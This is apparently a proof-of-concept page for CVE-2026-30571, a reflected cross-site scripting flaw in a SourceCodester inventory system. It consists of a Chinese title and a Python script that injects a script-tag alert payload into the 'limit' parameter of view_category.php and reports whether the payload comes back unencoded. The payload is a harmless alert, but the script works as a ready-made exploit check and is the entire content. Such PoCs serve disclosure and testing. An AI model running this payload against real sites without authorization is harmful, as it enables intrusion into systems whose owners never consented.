CVE-2026-30571 SourceCodester库存系统XSS漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-site.com/view_category.php" # Malicious payload to test XSS # Payload: <script>alert('CVE-2026-30571')</script> payload = "<script>alert('CVE-2026-30571')</script>" # Inject payload into the 'limit' parameter params = { "limit": payload } try: response = requests.get(target_url, params=params) # Check if the payload is reflected in the response without encoding if payload in response.text: print(f"[+] Vulnerability Detected! The payload is reflected in the response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Vulnerability not detected or payload is encoded.") except Exception as e: print(f"Error: {e}")